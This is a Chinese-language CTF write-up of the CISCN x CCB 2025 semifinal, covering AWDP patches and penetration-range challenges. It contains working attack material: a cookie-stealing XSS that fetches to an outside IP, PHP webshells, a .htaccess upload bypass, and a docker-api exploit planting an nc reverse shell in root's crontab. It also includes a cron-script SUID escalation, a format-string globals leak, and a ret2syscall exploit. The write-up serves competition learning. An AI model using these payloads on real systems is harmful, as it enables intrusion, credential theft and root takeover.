前言
一个好问题,这个比赛要命名为2024还是2025?🤔
参考:
https://mp.weixin.qq.com/s/H_UL4nkgCXqPk-LeCbo8KA
https://mp.weixin.qq.com/s/0e8avtn3o_jZJbh3UDUdzw
https://jbnrz.com.cn/index.php/2025/03/16/2025-ciscn-x-ccb-semi/
AWDP
Web
4小时1个人看5道web攻防一体
天塌了,waf盲修全拉满了一个都没修成,还不如直接花时间代审打掉一题恰个分。。
time-capsule
nm,java怎么是冷部署也没提醒,通防修了10次没过差点怀疑人生
resolveClass 上通防 ban 掉 SignedObject 这种二次反序列化类,HikariCP 那几个没见过的jar包应该就行了
rng-assistant
要求直接拿sed
命令修。。。
粗略看了下,感觉必定是要打 redis 的,随便waf没成:
#!/bin/bash
sed -i "63a \\\ \ \ \ \ \ \ \ \ \ \ \ prompt = (WAF(prompt))" "/app/app.py"
sed -i "53a def WAF(key):\n\tif b'gopher' in key:\n\t\tkey = key.replace(b'gopher', b'http')\n\treturn key" "/app/app.py"
后面看了题才发现原来没用到协议,那估计是 ban 修改端口就行(
break(复现)
先观察路由
从 /register 和 /login 获取 session,有 guest 和 admin 两种权限
/admin/ 的鉴权:
if (
"user" not in session
or request.headers.get("X-User-Role") != "admin"
or request.headers.get("X-Secret") != "210317a2ee916063014c57d879b9d3bc"
):
return jsonify({"error": "Access denied"}), 403
添加 X 头即可越权
/admin/model_ports 可以修改 model_ports,可以在这里修改端口为 6379 打 redis
model_ports = {"math-v1": 54321, "default": 50051}
data = request.json
model_id = data.get("model_id")
port = data.get("port")
if request.method in ["POST", "PUT"]:
if not model_id or not port:
return jsonify({"error": "Missing parameters"}), 400
model_ports[model_id] = port
return jsonify({"message": "Update successful", "user": whoami(session['user'])})
注意这里 port 是 int 不是 str
/admin/raw_ask 能自己写 prompt 进行数据库查询,于是在这里执行 redis 语句
data = request.json
model_id = data.get("model_id", "default")
custom_prompt = data.get("prompt")
final_prompt = custom_prompt
response = query_model(final_prompt, model_id)
return jsonify({"answer": response, "user": whoami(session['user'])})
成功执行,redis 为低权限服务,写不了文件到关键位置,考虑主从复制,但是不确定能不能通(
/ask 路由
final_prompt = generate_prompt(question)
def generate_prompt(user_question, prompt_id="math-v1"):
return PromptTemplate(user_question).get_prompt(prompt_id)
class PromptTemplate:
PROMPT_DIR = "static/prompts"
def __init__(self, question, user_level="primary"):
self.user_level = user_level
self.question = question
@staticmethod
def get_template(template_id):
prompt_key = f"prompt:{template_id}"
prompt = redis_conn.get(prompt_key)
if not prompt:
template_path = join(PromptTemplate.PROMPT_DIR, f"{template_id}.txt")
with open(template_path, "rb") as file:
prompt = file.read()
redis_conn.set(prompt_key, prompt)
prompt = prompt.decode(errors="ignore")
return prompt
def get_prompt(self, template_id):
return PromptTemplate.get_template(template_id).format(t=self)
是从模板读取 math-v1.txt 的内容,有缓存机制,第一次从文件读,之后都是从 redis 数据库读
这里 prompt_id 写死为 math-v1.txt ,而 flag 在 /app/flag.py 且导入到了 app.py
观察模板,是用 str.format
方法进行渲染的,明显有 python 格式化字符串漏洞
把 payload 写入到 redis 缓存中
set prompt:math-v1 '{t.__init__.__globals__}'
再访问 /ask 即可找到 flag
ccforum
上了一堆通防没守住,原来是因为没有rce只有目录穿越(
break(复现)
粗略测一下功能点:
- 一个注册登录的部分
- 登录后,可以创建 post
- post 具有敏感词检测,一旦检测到就会被记录到 log,并创建文件留档
发现除了执行 sql 语句以外就是 log_action 方法
function log_action($username, $action, $succ, $additional = '')
{
$log_id = uniqid();
$e_username = encode_uname($username);
$log_line = sprintf(
"%s,%s,%s,%d,%s\n",
$log_id,
$e_username,
$action,
$succ,
$additional
);
file_put_contents('/var/www/action.log', $log_line, FILE_APPEND);
}
本地测试一下效果:
在 $additional 这里,通过自行添加\n
,我们可以添加一行新的日志
然后就能绕过对 $e_username 的编码,接下来看一下 username 的作用
$action_log = file_get_contents($action_log_path);
$log_lines = explode("\n", $action_log);
$banned_users = [];
$failed_logs = [];
foreach ($log_lines as $line) {
if (empty($line)) {
continue;
}
$parts = explode(',', $line);
if (count($parts) < 5) {
continue;
}
$encoded_user = $parts[1];
$action = $parts[2];
$success = (int) $parts[3];
$additional_info = $parts[4];
if ($action === 'record_banned') {
if ($success === 1) {
$banned_users[$encoded_user][] = $additional_info;
} else {
$failed_logs[] = $additional_info;
}
}
}
$banned_contents = [];
foreach ($banned_users as $encoded_user => $logs) {
$banned_dir = "/var/www/banned/{$encoded_user}";
if (file_exists($banned_dir)) {
$files = scandir($banned_dir);
foreach ($files as $file) {
if ($file !== '.' && $file !== '..') {
$file_path = $banned_dir . '/' . $file;
$content = file_get_contents($file_path);
$banned_contents[$username][] = $content;
}
}
}
}
username 的值决定这里的 $encoded_user
这里 file_get_contents 会读取 /var/www/banned/{$encoded_user}
,存在目录穿越,只要我们控制了 $encoded_user 就能读取目录下任意文件
先找一下调用 log_action
的地方,需要第四个参数是可控的,其实也就是上面 action 要求的 record_banned
function record_banned($username, $banned)
{
$e_username = encode_uname($username);
$banned_dir = "/var/www/banned/{$e_username}";
$created = true;
if (!file_exists($banned_dir)) {
$created = mkdir($banned_dir, 0750);
}
$log = "";
$succ = 1;
if (!$created) {
$succ = 0;
$log = "Failed to create record directory for " . $username;
} else {
$filename = $banned_dir . '/' . time() . '.txt';
if (!file_put_contents($filename, $banned)) {
$succ = 0;
$log = "Failed to record banned content";
}
}
log_action($username, 'record_banned', $succ, $log);
}
$log 可以控制为 "Failed to create record directory for " . $username
,这里 username 就能插换行payload进去:
\n,../../../,record_banned,1,
为了让 $created 为 false,首先要使 mkdir 失败,那先观察这里的encode_uname($username)
,是套一层 base64,而 base64 的编码里存在/
,mkdir 不能直接生成多层目录
那么尝试生成一个用户名,base64后存在 /
,爆破一个出来,注意用户名长度不能超过 31,上面 payload 已经有 28 个字符了:
<?php
for ($i = 0; $i < 256; $i++) {
for ($j = 0; $j < 256; $j++) {
$prefix = chr($i) . chr($j);
$str = 'a'. $prefix . "\n" . ',../../../,record_banned,1,';
$base64 = base64_encode($str);
if (strpos($base64, '/') !== false) {
echo urlencode($str) . "\n";
echo $base64 . "\n";
echo strlen($str) . "\n";
exit;
}
}
}
得到a%00%3F%0A%2C..%2F..%2F..%2F%2Crecord_banned%2C1%2C
,也就是我们的 username
拿着这个 username 去注册并登录,发表敏感词触发日志记录的逻辑
然后访问 admin.php 就可以得到 flag,至于 admin 的账密从哪来就不得而知了
fix 最小修补的话,直接 ban 掉换行符写入就行
chatroom
没来得及看
Pwn
typo solved by Laffey
sub_1554
当中的snprintf
函数很明显把参数的位置写错了。复杂点可以给改成scanf
,暴力点直接nop
掉就check过了。
prompt solved by Laffey
把sub_1962
里面的free
给nop
掉就check过了。
渗透
应急响应 solved by Laffey
flag01
开tcpdump
守株待兔看到一个可疑连接。
14:06:16.423873 IP 192.168.57.210.51812 > 192.168.57.203.4948: Flags [S], seq 652709613, win 64240, options [mss 1460,sackOK,TS val 854503530 ecr 0,nop,wscale 7], length 0
14:06:16.424237 IP 192.168.57.203.4948 > 192.168.57.210.51812: Flags [S.], seq 3078376719, ack 652709614, win 65160, options [mss 1460,sackOK,TS val 3957384911 ecr 854503530,nop,wscale 7], length 0
14:06:16.424281 IP 192.168.57.210.51812 > 192.168.57.203.4948: Flags [.], ack 1, win 502, options [nop,nop,TS val 854503530 ecr 3957384911], length 0
14:06:16.424668 IP 192.168.57.203.4948 > 192.168.57.210.51812: Flags [P.], seq 1:41, ack 1, win 510, options [nop,nop,TS val 3957384911 ecr 854503530], length 40
14:06:16.424692 IP 192.168.57.210.51812 > 192.168.57.203.4948: Flags [.], ack 41, win 502, options [nop,nop,TS val 854503531 ecr 3957384911], length 0
14:06:16.424830 IP 192.168.57.203.4948 > 192.168.57.210.51812: Flags [P.], seq 41:93, ack 1, win 510, options [nop,nop,TS val 3957384911 ecr 854503531], length 52
14:06:16.424843 IP 192.168.57.210.51812 > 192.168.57.203.4948: Flags [.], ack 93, win 502, options [nop,nop,TS val 854503531 ecr 3957384911], length 0
交上去对了。
flag02
在flag03提到的下载程序会发现这个。
交上去对了。
flag03
硬盘镜像取证,搜索192.168.57.203。会发现在一个ELF文件里面。复制一大段出来,把后面截断到file正好能认出来不报错为止。
flag05
感觉很可疑,但是不是可见字符串,不太像能交的。看看它有没有经过什么处理。
找xref发现这个,那就照葫芦画瓢。
交上去对了。
Web-Git
172.16.173.40
start infoscan
172.16.173.40:111 open
172.16.173.40:110 open
172.16.173.40:143 open
172.16.173.40:443 open
172.16.173.40:80 open
172.16.173.40:25 open
172.16.173.40:995 open
172.16.173.40:993 open
172.16.173.40:3306 open
172.16.173.40:8060 open
172.16.173.40:9094 open
172.16.173.40:9999 open
[*] alive ports len is: 12
start vulscan
[*] WebTitle http://172.16.173.40 code:200 len:5828 title:Gitlab
[*] WebTitle http://172.16.173.40:8060 code:404 len:555 title:404 Not Found
[*] WebTitle http://172.16.173.40:9999 code:403 len:555 title:403 Forbidden
[*] WebTitle https://172.16.173.40 code:200 len:5828 title:Gitlab
[13:12:33] 301 - 234B - /.git -> http://172.16.173.40/.git/
[13:12:33] 200 - 694B - /.git/branches/
[13:12:33] 200 - 12B - /.git/COMMIT_EDITMSG
[13:12:33] 200 - 92B - /.git/config
[13:12:33] 200 - 23B - /.git/HEAD
[13:12:33] 200 - 73B - /.git/description
[13:12:33] 200 - 3KB - /.git/
[13:12:33] 200 - 3KB - /.git/hooks/
[13:12:33] 200 - 104B - /.git/index
[13:12:33] 200 - 894B - /.git/info/
[13:12:33] 200 - 240B - /.git/info/exclude
[13:12:33] 200 - 1KB - /.git/logs/
[13:12:33] 301 - 244B - /.git/logs/refs -> http://172.16.173.40/.git/logs/refs/
[13:12:33] 200 - 289B - /.git/logs/refs/heads/master
[13:12:33] 200 - 1KB - /.git/logs/HEAD
[13:12:33] 301 - 250B - /.git/logs/refs/heads -> http://172.16.173.40/.git/logs/refs/heads/
[13:12:33] 200 - 3KB - /.git/objects/
[13:12:33] 200 - 1KB - /.git/refs/
[13:12:33] 301 - 245B - /.git/refs/heads -> http://172.16.173.40/.git/refs/heads/
[13:12:33] 301 - 244B - /.git/refs/tags -> http://172.16.173.40/.git/refs/tags/
[13:12:33] 200 - 41B - /.git/refs/heads/master
[13:12:33] 403 - 213B - /.ht_wsr.txt
[13:12:33] 403 - 216B - /.htaccess.bak1
[13:12:33] 403 - 216B - /.htaccess.orig
[13:12:33] 403 - 216B - /.htaccess.save
[13:12:33] 403 - 217B - /.htaccess_extra
[13:12:33] 403 - 214B - /.htaccessBAK
[13:12:33] 403 - 215B - /.htaccessOLD2
[13:12:33] 403 - 216B - /.htaccess_orig
[13:12:33] 403 - 218B - /.htaccess.sample
[13:12:33] 403 - 214B - /.htaccessOLD
[13:12:33] 403 - 206B - /.htm
[13:12:33] 403 - 214B - /.htaccess_sc
[13:12:33] 403 - 207B - /.html
[13:12:33] 403 - 212B - /.htpasswds
[13:12:33] 403 - 216B - /.htpasswd_test
[13:12:33] 403 - 213B - /.httr-oauth
[13:12:41] 200 - 1KB - /assets/
[13:12:41] 301 - 236B - /assets -> http://172.16.173.40/assets/
[13:12:41] 301 - 236B - /backup -> http://172.16.173.40/backup/
[13:12:41] 403 - 209B - /backup/
[13:12:43] 403 - 210B - /cgi-bin/
[13:12:45] 200 - 13B - /default.php
[13:12:48] 302 - 29KB - /header.php -> /login
[13:12:49] 302 - 82KB - /index.php -> /login
[13:12:49] 302 - 82KB - /index.php/login/ -> /login
[13:12:49] 302 - 35KB - /info.php -> /login
[13:12:50] 200 - 0B - /log.php
[13:12:51] 301 - 235B - /login -> http://172.16.173.40/login/
[13:12:51] 200 - 838B - /login/
[13:12:51] 302 - 0B - /logout.php -> /login
[13:12:51] 301 - 236B - /manual -> http://172.16.173.40/manual/
[13:12:51] 200 - 9KB - /manual/index.html
[13:12:54] 403 - 211B - /php5.fcgi
[13:13:02] 200 - 0B - /user.php
flag01 solved by C1oudfL0w0
git泄露,使用git_extract提取所有的提交记录
得到第一个flag
getshell
/login 测试登录
返回后端的sql语句:
SELECT * FROM admin where name='ryan@work.com' and password='e10adc3949ba59abbe56e057f20f883e';
name处明显存在sql注入,sqlmap一把梭
id,icon,name,address,password
1,1.jpg,admin,123123,64e39c60d69afe351b48472307add2c5
id,email,password,username,login_time
1,ryan@work,circumstances,ryan,2019-08-07 13:00:00
得到md5后的密码,利用sql注入让语句为真即可
username=admin'and password='64e39c60d69afe351b48472307add2c5'#&password=1
进入 header.php,是一个邮件管理系统
个人修改信息处修改头像可以传马,但是不知道传到哪了
发现1.jpg是个马
同目录下还有个1.php,猜测参数是a
先写个post马
?a=file_put_contents('2.php','<?php eval($_POST[0]);');
蚁剑连上去
/var/www/html/sqlhelper.php 拿到数据库账密
private static $host="127.0.0.1";
private static $user="root";
private static $pwd="Simplexue";
private static $db="mail";
但是蚁剑里头整了半天,fscan传不上去也写不了,数据库一连终端就崩,倒腾半天没找到第二个flag
没做出来的部分就抄参考文章里的了
flag02 Unsolved
110 端口是个 pop3 服务
登录 pop3 就能拿到flag了
flag03 Unsolved
在数据库可以发现 ryan 用户的密码
直接 su 切换到 ryan 用户,然后用 grep
搜 /var 文件夹得到 flag3
flag04 Unsolved
应该是内网部分了
扫描得到 /backup/www.zip
sqlhelper.php 存在反序列化
写马进去后,查看 /home 目录,发现 gitlab 文件夹可访问,里面有一个 lookme ,是 flag4
flag05 Unsolved
在 /home/ryan 目录下存在一个 del.py 文件
#!/usr/bin/env python
import os
import sys
try:
os.system('rm -r /tmp/* ')
except:
sys.exit()
可读可写可执行,存在计划任务提权
修改为
#!/usr/bin/env python
import os
import sys
try:
os.system('chomd u+s /usr/bin/bash')
except:
sys.exit()
执行 python 脚本后执行命令 /usr/bin/bash -p
即可提权至root
在 /root 目录下发现 aim.jpg 文件,打开查看为 flag5
CCB2025
172.18.173.20
[13:08:23] 403 - 278B - /.ht_wsr.txt
[13:08:23] 403 - 278B - /.htaccess.bak1
[13:08:23] 403 - 278B - /.htaccess.sample
[13:08:23] 403 - 278B - /.htaccess.orig
[13:08:23] 403 - 278B - /.htaccess.save
[13:08:23] 403 - 278B - /.htaccess_extra
[13:08:23] 403 - 278B - /.htaccessBAK
[13:08:23] 403 - 278B - /.htaccess_sc
[13:08:23] 403 - 278B - /.htaccess_orig
[13:08:23] 403 - 278B - /.htaccessOLD2
[13:08:23] 403 - 278B - /.htm
[13:08:23] 403 - 278B - /.htaccessOLD
[13:08:23] 403 - 278B - /.html
[13:08:23] 403 - 278B - /.htpasswd_test
[13:08:23] 403 - 278B - /.htpasswds
[13:08:23] 403 - 278B - /.httr-oauth
[13:08:24] 403 - 278B - /.php
[13:08:33] 302 - 0B - /dashboard.php -> login.html
[13:08:35] 200 - 484B - /feedback.html
[13:08:37] 301 - 312B - /img -> http://172.18.173.20/img/
[13:08:39] 200 - 524B - /login.html
[13:08:39] 302 - 0B - /logout.php -> login.html
[13:08:46] 403 - 278B - /server-status
[13:08:46] 403 - 278B - /server-status/
[13:08:48] 200 - 473B - /src/
[13:08:48] 301 - 312B - /src -> http://172.18.173.20/src/
[13:08:51] 200 - 15KB - /users.log
start infoscan
172.18.173.20:22 open
172.18.173.20:80 open
172.18.173.20:631 open
172.18.173.20:28010 open
[*] alive ports len is: 4
start vulscan
[*] WebTitle http://172.18.173.20 code:200 len:1304 title:index
已完成 3/4 [-] ssh 172.18.173.20:22 root root_123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 3/4 [-] ssh 172.18.173.20:22 root 1234567890 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 3/4 [-] ssh 172.18.173.20:22 root qwe123!@# ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 3/4 [-] ssh 172.18.173.20:22 admin Admin@123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 3/4 [-] ssh 172.18.173.20:22 admin 123456789 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 3/4 [-] ssh 172.18.173.20:22 admin system ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 4/4
flag01 solved by C1oudfL0w0
入口环境中管理员每5分钟会进行登录
feedback.html 处明显是一个xss
<script>fetch('http://192.168.173.251:666/'+document.cookie);</script>
测试发现通自己的机器,nc守株待兔拿到cookie
auth=admin_logged_in
成功进入dashboard.php
想起来之前 feedback.html 可以传马
在 dashboard 这里可以看到上传的文件会传到 http://172.18.173.20/feedbacks_uploads_Files/
测试发现过滤了.php
使用 .htaccess 和 png 组合拳拿shell
<FilesMatch "1.png">
Sethandler application/x-httpd-php
</FilesMatch>
信息收集&代理
$ getcap -r / 2>/dev/null
/snap/core22/1722/usr/bin/ping cap_net_raw=ep
/usr/bin/mtr-packet cap_net_raw=ep
/usr/bin/ping cap_net_raw=ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin,cap_sys_nice=ep
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.18.173.20 netmask 255.255.255.0 broadcast 172.18.173.255
inet6 fe80::f819:4aff:fee3:d500 prefixlen 64 scopeid 0x20<link>
ether fa:19:4a:e3:d5:00 txqueuelen 1000 (Ethernet)
RX packets 348142 bytes 29141542 (29.1 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 434776 bytes 33689882 (33.6 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.18.16.100 netmask 255.255.255.0 broadcast 172.18.16.255
inet6 fe80::f806:edff:fe6e:5401 prefixlen 64 scopeid 0x20<link>
ether fa:06:ed:6e:54:01 txqueuelen 1000 (Ethernet)
RX packets 4524 bytes 428449 (428.4 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 50 bytes 3596 (3.5 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 193933 bytes 169089451 (169.0 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 193933 bytes 169089451 (169.0 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
172.18.173.20是我们这一层网,扫172.18.16.100
[2025-03-16 06:40:08] [HOST] 目标:172.18.16.2 状态:alive 详情:protocol=ICMP
[2025-03-16 06:40:09] [HOST] 目标:172.18.16.88 状态:alive 详情:protocol=ICMP
[2025-03-16 06:40:09] [HOST] 目标:172.18.16.100 状态:alive 详情:protocol=ICMP
[2025-03-16 06:40:11] [HOST] 目标:172.18.16.200 状态:alive 详情:protocol=ICMP
[2025-03-16 06:40:14] [PORT] 目标:172.18.16.88 状态:open 详情:port=80
[2025-03-16 06:40:14] [PORT] 目标:172.18.16.100 状态:open 详情:port=80
[2025-03-16 06:40:14] [PORT] 目标:172.18.16.200 状态:open 详情:port=22
[2025-03-16 06:40:14] [SERVICE] 目标:172.18.16.200 状态:identified 详情:info=Ubuntu Linux; protocol 2.0, banner=SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5., port=22, service=ssh, version=9.6p1 Ubuntu 3ubuntu13.5, product=OpenSSH, os=Linux
[2025-03-16 06:40:14] [PORT] 目标:172.18.16.100 状态:open 详情:port=22
[2025-03-16 06:40:14] [SERVICE] 目标:172.18.16.100 状态:identified 详情:version=9.6p1 Ubuntu 3ubuntu13.5, product=OpenSSH, os=Linux, info=Ubuntu Linux; protocol 2.0, banner=SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5., port=22, service=ssh
[2025-03-16 06:40:14] [PORT] 目标:172.18.16.88 状态:open 详情:port=22
[2025-03-16 06:40:14] [SERVICE] 目标:172.18.16.88 状态:identified 详情:info=protocol 2.0, banner=SSH-2.0-OpenSSH_7.4., port=22, service=ssh, version=7.4, product=OpenSSH
[2025-03-16 06:40:14] [PORT] 目标:172.18.16.200 状态:open 详情:port=8000
[2025-03-16 06:40:19] [SERVICE] 目标:172.18.16.88 状态:identified 详情:port=80, service=http
[2025-03-16 06:40:19] [SERVICE] 目标:172.18.16.100 状态:identified 详情:port=80, service=http
[2025-03-16 06:40:24] [SERVICE] 目标:172.18.16.200 状态:identified 详情:port=8000, service=unknown
[2025-03-16 06:40:24] [SERVICE] 目标:172.18.16.100 状态:identified 详情:url=http://172.18.16.100, status_code=200, length=1304, server_info=map[accept-ranges:bytes content-type:text/html date:Sun, 16 Mar 2025 06:40:24 GMT etag:"518-62c353443a080-gzip" last-modified:Tue, 21 Jan 2025 10:54:42 GMT length:1304 server:Apache/2.4.58 (Ubuntu) status_code:200 title:index vary:Accept-Encoding], fingerprints=[], port=80, service=http, title=index
[2025-03-16 06:40:24] [SERVICE] 目标:172.18.16.88 状态:identified 详情:url=http://172.18.16.88, status_code=200, length=6, server_info=map[accept-ranges:bytes content-length:6 content-type:text/html date:Sun, 16 Mar 2025 06:40:25 GMT etag:"6-62c3331fecb80" last-modified:Tue, 21 Jan 2025 08:30:54 GMT length:6 server:Apache/2.4.54 (Debian) status_code:200 title:无标题], fingerprints=[], port=80, service=http, title=无标题
[2025-03-16 06:40:24] [SERVICE] 目标:172.18.16.200 状态:identified 详情:length=0, server_info=map[content-length:0 content-type:text/html; charset=UTF-8 date:Sun, 16 Mar 2025 06:40:24 GMT length:0 license:AGPLv3 location:/auth?next=%2F redirect_url:https://172.18.16.200:8000/auth?next=%2F server:GateOne status_code:302 title:无标题 vary:Accept-Encoding x-ua-compatible:IE=edge], fingerprints=[], port=8000, service=http, title=无标题, url=https://172.18.16.200:8000, status_code=302
172.18.16.2
172.18.16.88:80
https://172.18.16.200:8000/
传chisel做代理
chisel.exe server -p 33322 --reverse
./chisel client 192.168.173.251:33322 R:0.0.0.0:44543:socks
flag02(复现)
.88
返回 error,扫描也没有获得其他信息,也不存在目录穿越
草,忘了扫高端口了,22375端口上面有一个 docker-api 未授权可以直接扫出来
本地试着搭个环境打一下吧:https://github.com/vulhub/vulhub/tree/master/docker/unauthorized-rce
访问 /version 可以返回信息
exp:
import docker
client = docker.DockerClient(base_url='http://vuln-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 192.168.236.196 23333 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
创建容器,挂载主机的/etc目录,并向 root 用户的 crontab 添加一个反弹 shell 命令
注意:此脚本针对 centos 系统可以反弹shell,ubuntu 系统不反弹
另一种方法:
docker 有远程连接命令,由于2375端口暴露,所以可以未授权访问
docker -H tcp://vuln-ip:2375/ ps
docker -H tcp://vuln-ip:2375/ images
需要启动一个有交互的shell,并且是特权镜像
当操作者执行docker run --privileged
时,Docker 将允许容器访问宿主机上的所有设备,同时修改 AppArmor 或 SELinux 的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限
docker -H tcp://vuln-ip:2375 run --privileged=true -it -v /:/tmp alpine /bin/sh
flag03(复现 CVE-2020-35736)
.200
是一个 GateOne 服务,
ssh终端日志里存了一些 .88 和 .100 的ssh交互记录,但是再看的时候没了,估摸着有个专门的洞,但是本地文库里头没有
应该是任意文件读取的洞,参考:https://cloud.tencent.com/developer/article/1866793
/downloads/ 路由存在目录穿越可以读取任意文件
gateone/core/server.py:
这里直接把 path 用os.path.join
拼进去了,那就无脑目录穿越
数据管理系统(Unsolved)
172.19.173.30:22 open
172.19.173.30:8081 open
172.19.173.30:8080 open
172.19.173.30:65533 open
[*] alive ports len is: 4
start vulscan
[*] WebTitle http://172.19.173.30:8081 code:200 len:397 title:Directory listing for /
[+] InfoScan http://172.19.173.30:8081 [目录遍历]
[*] WebTitle http://172.19.173.30:8080 code:302 len:0 title:None 跳转url: http://172.19.173.30:8080/login;jsessionid=5A6469C9BDD7B5761119C6F1AA4D5CFA
[*] WebTitle http://172.19.173.30:8080/login;jsessionid=5A6469C9BDD7B5761119C6F1AA4D5CFA code:200 len:8663 title:Login
8080 是个 shiro,但是 key 爆不出来
8081端口
#!/usr/bin/env python3
import http.server
import socketserver
PORT = 8081
Handler = http.server.SimpleHTTPRequestHandler
with socketserver.TCPServer(("", PORT), Handler) as httpd:
print(f"Serving on port {PORT}")
httpd.serve_forever()
以及一个 exrop,是pwn题,开在65533上,直接一个 gets,给了/bin/sh,没system
flag01(复现)
打 ret2syscall 即可,但是我当时丢给我们pwn手,做了一小时没出可还行,貌似是 cyclic 算的偏移出了点问题
exp:
from pwn import *
p = process("./exrop")
pop_rax_rdi_ret = 0x401180
pop_rdi_ret = 0x401181
pop_rsi_ret = 0x40117e
rdx_addr = 0x401183
binsh_addr = 0x402004
syscall_addr = 0x401187
payload = b"A" * 0x138 + p64(pop_rax_rdi_ret) + p64(59)
payload += p64(binsh_addr)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(rdx_addr) + p64(0)
payload += p64(syscall_addr)
p.sendline(payload)
p.interactive()
另一种解法:
8080 上存在接口泄露
看 /proc/self/cmdline 得到执行 jar 包的路径,从而下载到源码,泄露出 shirokey
那么打shiro反序列化秒了
不过web和pwn的打法进来都不是 root 权限
base64提权读 /flag:
find / -user root -perm -4000 -print 2>/dev/null
base64 '/flag' | base64 -d
扫内网搭代理进去,有 tp5.0.23 尝试利用,发现存在 waf,system 用不了会重定向到 rasp,但是 file_get_contents 放出来了, 打文件读取 rce 应该可以绕过其中的 waf